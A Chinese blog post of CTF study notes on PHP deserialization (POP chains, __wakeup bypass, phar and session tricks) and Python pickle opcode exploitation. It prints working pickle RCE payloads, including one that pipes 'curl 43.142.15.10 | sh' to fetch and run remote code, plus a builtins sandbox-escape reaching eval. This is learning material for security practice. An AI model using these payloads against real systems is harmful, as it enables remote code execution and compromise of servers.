首页 > 其他分享 >测试

测试

时间:2023-06-19 14:15:31浏览次数:37  
标签:__ 读取 self phar 测试 x00 stack

php反序列化

1.常规构造POP链反序列化

0x01 字符逃逸型

1.字符增加型

需要一个可控点即可

O:4:"test":0:{s:4:"name";s:25:"aaaaaaaaaaaaaaaaaaaaa";s:4:"name";s:4:"test";}";}  

例:ctfshow 2020年新春战“疫”—网络安全公益赛 web2

2.字符减少型

需要至少两个可控点

O:4:"test":0:{s:4:"testaaaaaaaa";s:25:"";s:4:"root";s:4:"root";}";}  

ctfshow 新春欢乐赛 web6

0x02绕过__wakeup

版本要求

PHP5 < 5.6.25
PHP7 < 7.0.10

将序列化后对象的属性个数改大即可绕过__wakeup

新春欢乐赛 web7

0x03绕过正则

  if (preg_match('/^O:\d+/',$data)){
       die('you lose!');
}

①将对象放到数组中,序列化后,以a开头

②在php较低版本,可在O后的字符前加数字

③利用php内置的实现serializable的类绕过,序列化后以C开头

脚本

$classes = get_declared_classes();
$implementsIModule = array();
foreach ($classes as $klass) {
   $reflect = new ReflectionClass($klass);
   if ($reflect->implementsInterface('Serializable'))
       $implementsIModule[] = $klass;
}
foreach ($implementsIModule as $c) {
   echo $c."\n";
}

 

0x04绕过关键字

①php7.1+反序列化对类属性不敏感

class test
{
   private $name = "whoami";
   public function __destruct()
  {
       echo $this->name;
  }
}
echo serialize(new test());
unserialize('O:4:"test":1:{s:4:"name";s:4:"root";}');
#输出 root

②当字符串标识符从s改为S,可用16进制绕过。

上例中

unserialize('O:4:"test":1:{s:4:"name";s:4:"root";}');
<==>  
unserialize('O:4:"test":1:{S:4:"\6eame";s:4:"root";}');  

③php类的大小写不敏感

0x05绕过异常处理

将对象放入数组(如数组a中)的第一个元素中,第二个元素放null,对数组进行序列化,将数组的下标1改为0。即将对象所在的地址置空,也就提前进行__destruct了。

ctfshow 卷王杯 easy unserialize

2.phar反序列化

....构造pop链
$a = new A();
$phar = new Phar("hack.phar");
$phar->startBuffering();
//填充 Stub  
$phar->setStub( 文件头+"<?php __HALT_COMPILER(); ?\>");
//Meta
$phar->setMetadata($a);
//这里写不写应该是无所谓的无所谓
//填充压缩文件
$phar->addFromString("123.txt", "123456");
//结束后会自动前面
$phar->stopBuffering();

0x01绕过phar头

compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://
zlib:phar://
phar://

 

0x02对文件内容限制

①用gzip压缩

gzip hack.phar

②将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过

$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('1.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);$zip->close();

0x03修改签名

from hashlib import sha1

with open('hack.phar', 'rb') as file:    
   f = file.read()    
   # 修改内容后的phar文件,以二进制文件形式打开
   s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
   h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
   newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newPhar.phar', 'wb') as file:    
   file.write(newf) # 写入新文件

0x04可触发phar的函数

https://blog.zsxsoft.com/post/38

 

3.session反序列化

搞清楚格式几种session反序列化的格式

php                 session格式: 键|php序列化值的部分,以 | 为分隔符       如  limit|i:1           
php_serialize       session格式: serialize函数序列化后的结果(数组形式)     如  a:1:{s:5:"limit";i:1;}
php_binary          session格式: 键对应的ASCII字符()+键名+php序列化值的部分, 如  •limiti:1;

session.serialize_handler

ctfshow 一切看起来都那么合情合理

session.upload_progress+session.serialize_handler

任意session篡改。

注意几个配置

session.upload_progress.prefix

session.upload_progress.cleanup

session.upload_progress.enabled

session.upload_progress 文件包含

ctfshow 新手杯 石头剪刀布

python反序列化

学习参考链接

1.https://www.zhihu.com/tardis/sogou/art/89132768

2.https://xz.aliyun.com/t/12367#toc-0

3.https://tttang.com/archive/1782/#toc_

直接调试pickle的源代码,会理解快点。

1.函数执行

0x01指令码R

    def load_reduce(self):
       stack = self.stack
       args = stack.pop()
       func = stack[-1]
       stack[-1] = func(*args)

复制当前栈信息,弹出的第一个做参数,之后的栈顶做被调用函数。

实现__reduce__魔术方法,生成的序列化值中便有R指令码。(当然也可以自己手搓)

例如:

class test:

   def __init__(self):
       self.date = "aaaa"

   def __reduce__(self):
       return (os.system, ("whoami", ))


a = pickletools.optimize(pickle.dumps(test(), 3))
print(a)
pickletools.dis(a)
#b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'

反序列化时

1 .读取 \x80 ,调用 load_proto ,再读取一个字节,指明几号协议

2.读取c (功能相当于import) ,读取两行(\n结尾)字符串,这里是ntsystem。即在nt模块查找system函数,并压入栈中

3.读取X,读取4字节,指明数据大小(这里为6字节),然后读取对应大小的内容,压入栈中。

4.读取\x85,将栈顶的一个元素组装成元组。(因为R需要栈顶为一个元组)

5.读取R,弹出栈顶,然后以其做为参数,以此时栈顶做为被调用函数,将执行结果写入栈顶

6.读取.结束

0x02指令码b

先理解一个普通的类是如何进行反序列化的

class test:

   def __init__(self):
       self.list = ["this", "is", "a", "list"]
       self.int = 14333223
       self.dict = {"get": "flag"}
       self.str = "this_is_flag"


a = pickletools.optimize(pickle.dumps(test(), 3))
print(a)
pickletools.dis(a)
pickle.loads(a)
b"\x80\x03c__main__\ntest\n)\x81}(X\x04\x00\x00\x00listq\x00](X\x04\x00\x00\x00thisX\x02\x00\x00\x00isX\x01\x00\x00\x00ah\x00eX\x03\x00\x00\x00intJ'\xb5\xda\x00X\x04\x00\x00\x00dict}X\x03\x00\x00\x00getX\x04\x00\x00\x00flagsX\x03\x00\x00\x00strX\x0c\x00\x00\x00this_is_flagub."

1.\x80同上

2.读取c, 得到类 test,压入栈。

3.读取) 压入一个空tuple

4.读取\x81弹出栈顶的两个元素,即test类和一个空的tuple 。之后实例化,入栈

5.读取}压入一个空dict

6.读取(,将当前栈所有信息压入前序栈(metastack),将当前栈置空 可以理解为类似一个函数调用的过程。

X操作码都跳过

7.读取q,将list压入memo中,索引为0

8.读取] ,压入一个空list(可以发现,如果是右半部分,就是对应的类型)

9.再次(

10.读取h,压入memo中的索引0 (可能是看到遇到有重复的就存到内存里了)

11.读取e . 先调用pop_mark。 复制当前栈信息给items,从前序栈中弹出之前压入的栈 赋值给 当前栈,返回items

items装到之前压入的空list

  1. 读取J压入4字节有符号int

  2. 读取}压入dict

  3. 读取s弹出栈顶的两个元素,压入空的dict

  4. 读取u. 调用pop_mark, 两个一组压入组装成字典。

  5. 读取b,弹出属性,赋值给state,将对象赋值给inst. 如果对象存在__setstate__,则将属性做为参数应用于改方法。

    如果不存在。将属性赋值到对象上(此时对象上才有了属性)。

    image-20230413204704520

    17.读取. over

(写了很多没用的,主要是熟悉一下)

如果将__setstate__的值赋值为os.system,然后build一次,此时类便有了__setstate__方法,然后再次调用build,就可以触发rce了。

所以,我们可以将序列化的值改为。

b"\x80\x03c__main__\ntest\n)\x81}(X\x0C\x00\x00\x00__setstate__cos\nsystem\nubX\x16\x00\x00\x00curl 43.142.15.10 | shb."

反序列化后成功执行

image-20230413211708642

0x03指令码i

 #指令码i   
   def load_inst(self):
       module = self.readline()[:-1].decode("ascii")
       name = self.readline()[:-1].decode("ascii")
       klass = self.find_class(module, name)
       self._instantiate(klass, self.pop_mark())

读取两个行字符串。找到该类。调用_instantiate.跟进_instantiate

    def _instantiate(self, klass, args):
       if (args or not isinstance(klass, type)
               or hasattr(klass, "__getinitargs__")):
           try:
               value = klass(*args)
           except TypeError as err:
               raise TypeError(
                   "in constructor for %s: %s" % (klass.__name__, str(err)),
                   sys.exc_info()[2])
       else:
           value = klass.__new__(klass)
       self.append(value)
       

pop_mark()返回的是当前栈的信息,故只需要在调用i指令前,写个字符串参数即可

稍微修改下payload即可。

b"\x80\x03c__main__\ntest\n)\x81}(X\x06\x00\x00\x00whoamiios\nsystem\n."

0x04指令码o

    def load_obj(self):
       # Stack is ... markobject classobject arg1 arg2 ...
       args = self.pop_mark()
       cls = args.pop(0)
       self._instantiate(cls, args)

类似指令i,再稍微修改一下

b"\x80\x03c__main__\ntest\n)\x81}(cos\nsystem\nX\x06\x00\x00\x00whoamio."

image-20230413214904066

  #操作码b  
   def load_build(self):
       stack = self.stack
       state = stack.pop()
       inst = stack[-1]
       setstate = getattr(inst, "__setstate__", None)
       if setstate is not None:
           setstate(state)
           return
       slotstate = None
       if isinstance(state, tuple) and len(state) == 2:
           state, slotstate = state
       if state:
           inst_dict = inst.__dict__
           intern = sys.intern
           for k, v in state.items():
               if type(k) is str:
                   inst_dict[intern(k)] = v
               else:
                   inst_dict[k] = v
       if slotstate:
           for k, v in slotstate.items():
               setattr(inst, k, v)

 

    def pop_mark(self):
       items = self.stack
       self.stack = self.metastack.pop()
       self.append = self.stack.append
       return items
#指令码 s
   def load_setitem(self):
       stack = self.stack
       value = stack.pop()
       key = stack.pop()
       dict = stack[-1]
       dict[key] = value

 

 #指令码 e
   def load_appends(self):
       items = self.pop_mark()
       list_obj = self.stack[-1]
       try:
           extend = list_obj.extend
       except AttributeError:
           pass
       else:
           extend(items)
           return
       # Even if the PEP 307 requires extend() and append() methods,
       # fall back on append() if the object has no extend() method
       # for backward compatibility.
       append = list_obj.append
       for item in items:
           append(item)

 

#指令码 \x81
   def load_newobj(self):
       args = self.stack.pop()
       cls = self.stack.pop()
       obj = cls.__new__(cls, *args)
       self.append(obj)

 

#指令码  (
   def load_mark(self):
       self.metastack.append(self.stack)
       self.stack = []
       self.append = self.stack.append

 

#指令码 \x85 
   def load_tuple1(self):
self.stack[-1] = (self.stack[-1], )
#指令码 c
def load_global(self):
       module = self.readline()[:-1].decode("utf-8")  #最后一个是换行 module名称
       name = self.readline()[:-1].decode("utf-8")  #再读取一个
       klass = self.find_class(module, name)
       self.append(klass)
#指令码 t
def load_tuple(self):
       items = self.pop_mark()
       self.append(tuple(items))

 

2.变量覆盖

picker.py中有一个变量 key=whoami。利用类似的思路,可以将其覆盖

image-20230413233848291

\x80\x03c__main__\n

以上是修改了其他模块的变量,当然也可以修改当前模块的变量

image-20230414165502012

引入builtins.globals,压入一个空的tuple,然后用R指定调用,以字典的形式返回当前模块的全局变量。再写入两个字符串,一个是key,一个是value,最后用s指令修改dict

3.绕过

0x01绕过函数黑名单

参考 p神 https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

在只能调用 builtins模块的情况下,可以用其 getattrglobals等函数,得到eval函数,然后进行代码执行.

payload

 _loads( b'''\x80\x03cbuiltins\ngetattr\n(cbuiltins\ndict\nX\x03\x00\x00\x00gettR(cbuiltins\nglobals\n(tRX\x0C\x00\x00\x00__builtins__tRp1\ncbuiltins\ngetattr\n(g1\nX\x04\x00\x00\x00evaltR(X\x13\x00\x00\x00os.system('whoami')tR.''')

简单说下干了什么

1.引入getattr函数,压入前序栈

2.引入dict函数 ,引入字符串get

3.将dict函数和get组装成tuple,前序栈弹出getattr函数.调用getattr(*(dict,'get')) 得到dict.get函数,压入前序栈

4.调用globals函数,以字典形式返回全部变量.(其中有__builtins__模块),引入__builtins__字符串.

5.同上 调用 dict.get(builtins,"__builtins__")函数,得到builtins模块. 将其压入内存栈

6.在引入getattr函数,压入前序栈

7.将内存栈中的引入builtins模块,再引入 eval字符串.

8.调用getattr(builtins,"eval"),得到 eval函数,压入前序栈

9.写代码,最后调用eval.

0x02绕过关键字

压入字符串时,S可使用16进制绕过,V可使用unicode绕过

4.相关题目

[CISCN2019 华北赛区 Day1 Web2]ikun

注意是python2的环境,需要生成python2能解析的payload

....

标签:__,读取,self,phar,测试,x00,stack
From: https://www.cnblogs.com/cyyyyi/p/17490981.html

相关文章

  • 小白学习MySQL - 随机插入测试数据的工具
    我们日常做一些MySQL测试的时候,经常要造数据,通常就写个循环插入数据的存储过程。前两天碰巧看文章说,mysql_random_data_load程序能向MySQL随机插入大量数据,于是了解一下。mysql_random_data_load是个开源的项目,github路径如下,https://github.com/Percona-Lab/mysql_random_data_loa......
  • Airtest图像识别测试工具原理解读&最佳实践 | 京东云技术团队
    1Airtest简介Airtest是一个跨平台的、基于图像识别的UI自动化测试框架,适用于游戏和App,支持平台有Windows、Android和iOS。Airtest框架基于一种图形脚本语言Sikuli,引用该框架后,不再需要一行行的写代码,通过截取按钮或输入框的图片,用图片组成测试场景,这种方式学习成本低,简单易上手。2......
  • Airtest图像识别测试工具原理解读&最佳实践
    1Airtest简介Airtest是一个跨平台的、基于图像识别的UI自动化测试框架,适用于游戏和App,支持平台有Windows、Android和iOS。Airtest框架基于一种图形脚本语言Sikuli,引用该框架后,不再需要一行行的写代码,通过截取按钮或输入框的图片,用图片组成测试场景,这种方式学习成本低,简单易上手......
  • 测试总结
    1、物理机虚拟机docker、k8s1) 虚拟机没有硬件实体,物理机有(如服务器、PC),虚拟机是用物理机虚拟出来的硬件系统;2) 物理机是一个,虚拟机是多个;3) 物理机执行引擎建立在cpu、os和硬件层面上,虚拟机自己实现。Docker&&虚拟机1) docker是搭建于os上,在os层面虚拟化,虚拟机是在硬......
  • 兼容性测试如何提高网站的安全性?
    在今天的互联网时代,随着各种网络gong击和黑客活动的频繁发生,网站的安全性问题越来越引起人们的关注。而在提高网站安全性方面,兼容性测试是一个非常重要的环节。本文将从什么是兼容性测试、为什么兼容性测试可以提高网站的安全性、如何进行兼容性测试等方面展开阐述。什么是......
  • 测试接口文档流程
    安装jmeterwindows批处理jmeter启动(双击)获取tokenappKey=6773dfd985c249a69916445137fb46c8appSecret=151a36625370491e9e6ee2721a2fc664jmeter工具弃用,改为使用postman工具::::::@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@快速查看本机公网IP地址真香IT于2022-04......
  • 使用loadrunner11开展爆破测试
    备注:阅读本文需要一定的loadrunner11操作基础和代码编写基础,请各位预知。 本次爆破目标为pikachu靶场,访问地址:http://192.168.0.108/pikachu/我们本次测试默认的弱口令admin123456 1)使用函数声明变量msg,其中LB和RB是通过页面解析出来的左右边界,如果访问成功,LB和RB之间的......
  • 软件测试|web自动化测试神器playwright教程(二十七)
    前言使用selenium进行web自动化测试,如果我们打开了多个网页,进行网页切换时,我们需要先获取各个页面的句柄,通过句柄来区分各个页面,然后使用switch_to.window()实现切换,这样的操作比较麻烦,playwright的网页切换比selenium更为简单快捷。本文就给大家介绍一下playwright多个网页的切换......
  • 软件测试|web自动化测试神器playwright教程(二十三)
    前言我们在进行web自动化时,经常遇到一些不好操作的元素,普通的元素定位和操作容易报错,如果我们使用的selenium的话,就可以使用selenium调用js脚本进行操作。在playwright中也有类似的方法,使用page.evaluate()执行JavaScript脚本。page.evaluate()和page.evaluate_handle()之间的唯......
  • 软件测试|web自动化测试神器playwright教程(二十五)
    前言鼠标为我们使用电脑提供了很多方便,我们看到的东西就可以将鼠标移动过去进行点击就可以打开或者访问内容,当页面内容过长时,我们也可以使用鼠标滚轮来实现对整个页面内容的查看,其实playwright也有鼠标操作的方法,本文我们就来介绍playwright的鼠标操作。鼠标操作Mouse鼠标操作是基......